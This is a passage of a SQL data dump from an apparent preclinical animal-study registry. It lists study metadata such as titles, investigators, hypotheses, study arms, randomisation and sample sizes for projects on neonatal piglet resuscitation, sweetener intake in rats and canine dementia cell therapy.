	(6742,163,'why_no_randomisation','\"Randomisation is not performed because of the scheduling of the interventions. We order animal for the local animal center and then beging the intervention in the accurate timepoint.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6743,163,'randomisation_method_used','\"coin-toss\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6744,163,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6745,163,'yes_blinded_intervention_partially_details','\"Yes partially\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6746,163,'investigators_blinded_assessment','\"during_the_data_analyses_investigators_are_partially_blinded\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6747,163,'placebo_controlled','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6748,163,'original_animal_ethics_committee_application','\"https:\\/\\/www.avi.fi\\/documents\\/10191\\/11358078\\/Tiivistelm%C3%A4t+2019+21+-+40\\/c9f5f495-d658-4f30-ab6d-68ebe734e0d5 (in finnish)\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6749,163,'application_number','\"ESAVI\\/4080\\/2019\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6750,163,'has_embargo','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6751,164,'title','\"Optimal Vasopressor Dose During Neonatal Resuscitation of Asphyxiated Newborns\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6752,164,'contact_name','\"Georg Schmolzer\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6753,164,'contact_role','\"Principal Investigator \"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6754,164,'contact_email','\"schmolze@ualberta.ca\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6755,164,'study_centre','[{\"name\":\"University of Alberta\",\"city\":\"Edmonton\",\"country\":\"CA\"}]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6756,164,'financial_support','[\"grants\"]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6757,164,'start_date','\"2022-03-01\"','2022-03-31 13:23:47','2022-03-31 13:24:06'),
	(6758,164,'end_date','\"2023-03-01\"','2022-03-31 13:23:47','2022-03-31 13:24:06'),
	(6759,164,'study_status','\"active\"','2022-03-31 13:23:47','2022-03-31 13:24:06'),
	(6760,164,'research_field','\"Pediatrics, Neonatology\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6761,164,'hypothesis','\"We hypothesize that the use of alternative doses of epinephrine or vasopressin during neonatal resuscitation will reduce the time to return of spontaneous circulation (ROSC) compared to the standard dose. \"','2022-03-31 13:23:47','2022-03-31 13:24:06'),
	(6762,164,'intervention_type','\"compound\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6763,164,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6764,164,'primary_readout_parameter','\"Efficacy: Primary outcome measure is cardiopulmonary resuscitation (CPR) time to achieve ROSC.\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6765,164,'secondary_readout_parameter','\"Secondary endpoints are hemodynamic parameters, respiratory markers, and tissue injury markers.\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6766,164,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6767,164,'species','\"pig\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6768,164,'sex','\"both\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6769,164,'experimental_design','\"Newborn piglet model of hypoxia\\/asphyxia-induced cardiac arrest\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6770,164,'sample_size_calculation','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6771,164,'sample_size_calculation_details','\"Our previous studies showed a mean(SD) time to ROSC of 580(25) sec during CPR using 3:1 compression-to-ventilation ratio and an intravenous epinephrine dose of 0.02 mg\\/kg. A sample size of 7 per group would be sufficient to detect a clinically important (20%) reduction in time to achieve ROSC (i.e. 180 sec vs. 140 sec), with 80% power and a 2-tailed alpha error of 0.05. \"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6772,164,'sum_of_animals','\"63\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6773,164,'study_arms','[{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.01 mg\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.03 mg\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.05 mg\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.1 mg\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (0.2 IU\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (0.4 IU\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (0.8 IU\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"control\",\"number\":\"7\",\"intervention\":\"Normal saline (0.9% NaCl) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"sham\",\"number\":\"7\",\"intervention\":\"Sham\"}]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6774,164,'randomisation','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6775,164,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6776,164,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6777,164,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6778,164,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6779,164,'placebo_controlled','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6780,164,'has_embargo','\"no\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6781,165,'title','\"Optimal Timing of Vasopressor Administration During Neonatal Resuscitation of Asphyxiated Newborns\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6782,165,'contact_name','\"Georg Schmolzer\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6783,165,'contact_role','\"Principal Investigator\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6784,165,'contact_email','\"schmolze@ualberta.ca\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6785,165,'study_centre','[{\"name\":\"University of Alberta\",\"city\":\"Edmonton\",\"country\":\"CA\"}]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6786,165,'financial_support','[\"grants\"]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6787,165,'start_date','\"2022-02-01\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6788,165,'end_date','\"2023-06-01\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6789,165,'study_status','\"not_started\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6790,165,'research_field','\"Pediatrics, Neonatology\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6791,165,'hypothesis','\"We hypothesize that a dosing interval of 5-min or 8-min for epinephrine, or 3-min, 5-min, or 8-min for vasopressin during neonatal resuscitation will reduce the time to return of spontaneous circulation (ROSC) compared to the standard dosing interval. \"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6792,165,'intervention_type','\"delivery_method\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6793,165,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6794,165,'primary_readout_parameter','\"Efficacy: Primary outcome measure is cardiopulmonary resuscitation (CPR) time to achieve ROSC.\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6795,165,'secondary_readout_parameter','\"Secondary endpoints are hemodynamic parameters, respiratory markers, and tissue injury markers.\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6796,165,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6797,165,'species','\"pig\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6798,165,'sex','\"both\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6799,165,'experimental_design','\"Newborn piglet model of hypoxia-asphyxia-induced cardiac arrest\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6800,165,'sample_size_calculation','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6801,165,'sample_size_calculation_details','\"Our previous studies showed a mean(SD) time to ROSC of 580(25) sec during CPR using 3:1 compression-to-ventilation ratio and intravenous epinephrine given every 3-min. A sample size of 7 per group would be sufficient to detect a clinically important (20%) reduction in time to achieve ROSC (i.e. 180 sec vs. 140 sec), with 80% power and a 2-tailed alpha error of 0.05.\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6802,165,'sum_of_animals','\"49\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6803,165,'study_arms','[{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine every 3-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine every 5-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine every 8-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin every 3-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin every 5-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin every 8-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"sham\",\"number\":\"7\",\"intervention\":\"Sham\"}]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6804,165,'randomisation','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6805,165,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6806,165,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6807,165,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6808,165,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6809,165,'placebo_controlled','\"no\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6810,165,'has_embargo','\"no\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6811,166,'title','\"Optimal Route of Vasopressor Administration During Neonatal Resuscitation of Asphyxiated Newborns\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6812,166,'contact_name','\"Georg Schmolzer\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6813,166,'contact_role','\"Principal Investigator\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6814,166,'contact_email','\"schmolze@ualberta.ca\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6815,166,'study_centre','[{\"name\":\"University of Alberta\",\"city\":\"Edmonton\",\"country\":\"CA\"}]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6816,166,'financial_support','[\"grants\"]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6817,166,'start_date','\"2023-07-03\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6818,166,'end_date','\"2024-10-01\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6819,166,'study_status','\"not_started\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6820,166,'research_field','\"Pediatrics, Neonatology\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6821,166,'hypothesis','\"We hypothesize that the use of intraosseous (i.o.) or intravenous (i.v.) vasopressin or i.o. epinephrine during neonatal resuscitation will reduce the time to return of spontaneous circulation (ROSC) compared to the standard route.\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6822,166,'intervention_type','\"delivery_method\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6823,166,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6824,166,'primary_readout_parameter','\"Efficacy: Primary outcome measure is cardiopulmonary resuscitation (CPR) time to achieve ROSC.\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6825,166,'secondary_readout_parameter','\"Secondary endpoints are hemodynamic parameters, respiratory markers, and tissue injury markers.\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6826,166,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6827,166,'species','\"pig\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6828,166,'sex','\"both\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6829,166,'experimental_design','\"Newborn piglet model of hypoxia\\/asphyxia-induced cardiac arrest\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6830,166,'sample_size_calculation','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6831,166,'sample_size_calculation_details','\"Our previous studies showed a mean(SD) time to ROSC of 580(25) sec during CPR using 3:1 compression-to-ventilation ratio with i.v. epinephrine. A sample size of 7 per group would be sufficient to detect a clinically important (20%) reduction in time to achieve ROSC (i.e. 180 sec vs. 140 sec), with 80% power and a 2-tailed alpha error of 0.05.\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6832,166,'sum_of_animals','\"35\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6833,166,'study_arms','[{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (i.v.) with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (i.o.) with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (i.v.) with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (i.o.) with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"sham\",\"number\":\"7\",\"intervention\":\"Sham\"}]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6834,166,'randomisation','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6835,166,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6836,166,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6837,166,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6838,166,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6839,166,'placebo_controlled','\"no\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6840,166,'has_embargo','\"no\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6841,143,'short_title','\"MAP4k4 inhibition in MI \"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6842,167,'title','\"Ecological validity of non-nutritive sweetener consumption models in male Sprague Dawley rats \"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6843,167,'contact_name','\"Associate Professor Kieron Rooney\\nHeidi Morahan\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6844,167,'contact_role','\"Chief Investigator\\nPrimary caregiver\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6845,167,'contact_email','\"kieron.rooney@sydney.edu.au\\nheidi.morahan@sydney.edu.au\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6846,167,'study_centre','[{\"name\":\"University of Sydney\",\"city\":\"Sydney\",\"country\":\"AU\"}]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6847,167,'financial_support','[\"grants\"]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6848,167,'start_date','\"2019-09-05\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6849,167,'end_date','\"2019-11-29\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6850,167,'study_status','\"not_started\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6851,167,'research_field','\"Metabolic Health and Feeding Behaviour\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6852,167,'hypothesis','\"We hypothesise commercially available beverages containing only non-nutritive sweeteners (no sucrose) will not show complete metabolic recovery after ceasing sugar consumption in male rats. Our previous experiment identified fasting blood glucose levels and retroperitoneal fat pads did not recover to the same level as control (water) in female rats.  As such we need to know, if male rats display similar outcomes, to determine if there are more ecologically valid models of non-nutritive sweetener consumption available.\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6853,167,'intervention_type','\"compound\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6854,167,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6855,167,'primary_readout_parameter','\"Feasibility: Aim 1. Do male Sprague Dawley Rats consume commercially available drinks sweetened with non-nutritive sweeteners? \\nOur primary outcome measure for this aim is total volume of test drink consumed relative to water within two 10 minute drinking opportunities for preference, and total volume of test drink consumed relative to water over a 4 hour period for acceptance. This will be measured on Days 1-4\\n\\nAim 2. Does the consumption of commercially available drinks sweetened with non-nutritive sweeteners differ if male animals have had prior chronic exposure to sugar sweetened drinks? \\nOur primary outcome measure for this aim is total volume of test drink consumed relative to water within two 10 minute drinking opportunities for preference, and total volume of test drink consumed relative to water over a 4 hour period for acceptance. This will be measured on Days 33-36 following 28-day sucrose (10% w\\/v) feeding\\n\\nAim 3. Do commercially available drinks sweetened with non-nutritive sweeteners impact metabolic recovery from the damage caused by excess consumption of sugar in male rats? \\nOur primary outcome for this aim will be changes in body fat content. This will be measured on Days 65\\/66 after cull and excision of fat pads.\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6856,167,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6857,167,'species','\"rat\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6858,167,'strain','\"Sprague Dawley\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6859,167,'sex','\"male\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6860,167,'experimental_design','\"Male Sprague Dawley rats \"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6861,167,'sample_size_calculation','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6862,167,'sample_size_calculation_details','\"Previous models (including ours) have utilised  tests comparing volume of a 0.1% Saccharin solution to the volume of water consumed. Using such comparisons we have previously reported female Sprague Dawley animals to consume 55 +\\/- 15 mls of water compared to 90 +\\/- 19 mLs of Saccharin. This is indicative of an effect size of 2.0. Assuming this effect as the minimal threshold to accept any of the test drinks in this protocol as a viable alternate model, a power set at 0.95 and significance set at 0.05, the minimal number for determining a significant effect is 6 animals per group (G* Power Version 3.1) .  \\n \\nHowever, there are additional factors to consider. \\n - this data has been collected from \\u201cna\\u00efve\\u201d animals, that is, animals that had not consumed anything sweet prior to testing. Our preliminary data suggests that the saccharin intake will be lower following an exposure to sugar and as such the effect size is likely to be smaller, thus requiring a slightly higher number of animals. \\n- one of our primary outcomes is recovery of body fat content. For which our power calculations in a previous experiment reports a minimum number of 8 animals per group.  \\n- the same experiment conducted in female rats identified a trend toward higher fat content compared to control. Therefore an increase to 10 animals per group would be required to adequately power this outcome.\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6863,167,'sum_of_animals','\"40 male SD rats\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6864,167,'study_arms','[{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"Water\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Diet Coke (aspartame and acesulfame K)\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Sprite (8.6% w\\/v sucrose and stevia)\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Kombucha (stevia and erythritol)\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Cordial no added sugar (cyclamate, acesulfame K, sucralose)\"}]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6865,167,'randomisation','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6866,167,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6867,167,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6868,167,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6869,167,'yes_blinded_intervention_how_details','\"Due to delivery of dietary intervention, it is impossible for primary caregiver to be blinded. \"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6870,167,'investigators_blinded_assessment','\"blood_glucose_metabolic_markers_and_body_composition_outcomes_will_be_blinded\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6871,167,'placebo_controlled','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6872,167,'application_number','\"2019\\/1502\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6873,167,'has_embargo','\"no\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6874,167,'secondary_readout_parameter','\"Fasting blood glucose levels taken on Day 37 and 64 by sampling blood from lateral tail vein. Approximately 100\\u00b5L of blood will be taken for further testing of metabolic markers.\\nBody weight, fluid and chow intake measured every 3 days throughout the study\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6875,169,'title','\"Skin-derived neural precursor cell therapy for Canine Alzheimer Dementia\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6876,169,'short_title','\"DOGS+CELLS Trial\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6877,169,'contact_name','\"Michael Valenzuela\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6878,169,'contact_role','\"Principal investigator\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6879,169,'contact_email','\"michael.valenzuela@sydney.edu.au\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6880,169,'study_centre','[{\"name\":\"University of Sydney\",\"city\":\"Sydney\",\"country\":\"AU\"}]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6881,169,'financial_support','[\"industry\",\"_investigator_driven\",\"grants\"]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6882,169,'other_financial_support','\"Partial funding from Skin2Neuron Pty Ltd\"','2022-03-31 13:23:47','2022-03-31 13:23:49'),
	(6883,169,'study_status','\"active\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6884,169,'end_date','\"2021-01-18\"','2022-03-31 13:23:47','2022-03-31 13:23:49'),
	(6885,169,'start_date','\"2012-07-17\"','2022-03-31 13:23:47','2022-03-31 13:23:49'),
	(6886,169,'research_field','\"Neuroscience\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6887,169,'hypothesis','\"Determine whether skin-derived neuroprecursor cell transplantation is a safe and effective treatment for Canine Alzheimer dementia\"','2022-03-31 13:23:47','2022-03-31 13:23:49'),
	(6888,169,'intervention_type','\"other\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6889,169,'other_intervention_type','\"Cell therapy\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6890,169,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:47','2022-03-31 13:23:49'),
	(6891,169,'primary_readout_parameter','\"Efficacy: Change in Canine Cognitive Dysfunction Rating Scale (CCDR): a validated and reliable global clinical severity scale administered to dog owners at baseline (pre-treatment) and 3-month follow-up (post-treatment).\"','2022-03-31 13:23:47','2022-03-31 13:23:49'),
	(6892,169,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6893,169,'species','\"dog\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6894,169,'strain','\"Canis familiaris\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6895,169,'sex','\"both\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6896,169,'experimental_design','\"Canine Cognitive Dysfunction\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6897,169,'sample_size_calculation','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6898,169,'sample_size_calculation_details','\"First three dogs to be treated indicated large therapeutic effect size (d = 1.5SD). Based on this, a matched-paired T-test model with alpha = 0.5, two-tailed and power at 0.8 delivers a priori sample size of N=6.\"','2022-03-31 13:23:47','2022-03-31 13:23:49'),
	(6899,169,'randomisation','\"no\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6900,169,'why_no_randomisation','\"First-in-dog trial for companion animals with terminal condition and inherent risk in neurosurgery justifies an open label study (like first-in-human cell therapy studies)\"','2022-03-31 13:23:47','2022-03-31 13:23:49'),
	(6901,169,'study_arms','[{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"Intrahippocampal autologous skin-derived neural precursor transplant\"}]','2022-03-31 13:23:47','2022-03-31 13:23:49'),
	(6902,169,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6903,169,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6904,169,'placebo_controlled','\"no\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6905,169,'application_number','\"University of Sydney Animal Ethics Committee #K00\\/7-2012\\/5796; #2016\\/1028; #2019\\/1612\"','2022-03-31 13:23:47','2022-03-31 13:23:49'),
	(6906,169,'sum_of_animals','\"N=6 \"','2022-03-31 13:23:47','2022-03-31 13:23:49'),
	(6907,169,'secondary_readout_parameter','\"Several: \\n1. Safety based on regular clinical review and lab tests \\n2. Canine spatial memory test \\n3. Wearable device measures of in-home behaviour \\n4. Additional owner-rated behavioural instruments \\n5. Neurohistology following natural death.\"','2022-03-31 13:23:47','2022-03-31 13:23:49'),
	(6908,169,'has_embargo','\"no\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6909,160,'sum_of_animals','\"24 male adults, 24 female adults (not pregnant),96 offspring, 32 pregnant females (176 in total)\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6910,160,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6911,160,'yes_blinded_intervention_how_details','\"blinding of early life diet exposure is not possible as this study used ad libitum feeding and the diettypes look very different and can be immediately identified on sight. \\nlater in the study, animals receive similar diets, blinding is then applied\"','2022-03-31 13:23:47','2022-03-31 13:23:55'),
	(6912,160,'investigators_blinded_assessment','\"in_vivo_outcomes_cannot_be_fully_blinded_as_the_diettypes_look_very_different_and_can_be_immediately_identified_on_sight_ex_vivo_outcomes_will_be_blinded\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6913,160,'sample_size_calculation_details','\"12 per group.\\nBased on our previous experience with his model, we assume a variation in adult body fat mass of 20% and 23% reduced body fat accumulation due to concept diets while on adult high fat diet.  With an \\u03b1 error prob. of 0.05 and a power of 0.8 the sample size should be 12 animals per group. \"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6914,160,'application_number','\"AVD2250020187104\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6915,170,'title','\"Inotropic\\/lusitropic S100A1ct peptide-based drug development for decompensated chronic heart failure.\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6916,170,'short_title','\"S100A1ct-CHF\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6917,170,'contact_name','\"Prof. Dr. Patrick Most\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6918,170,'contact_role','\"Coordinating PI\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6919,170,'contact_email','\"patrick.most@med.uni-heidelberg.de\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6920,170,'financial_support','[\"investigator_driven\",\"grants\"]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6921,171,'title','\"Topical antibody treatment of canine patients with bacterial superficial pyoderma\"','2022-03-31 13:23:47','2022-03-31 13:23:48'),
	(6922,171,'contact_name','\"Beatrix F\\u00f6rster\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6923,171,'contact_role','\"Executive researcher\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6924,171,'contact_email','\"schaeferbeatrix@gmail.com\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
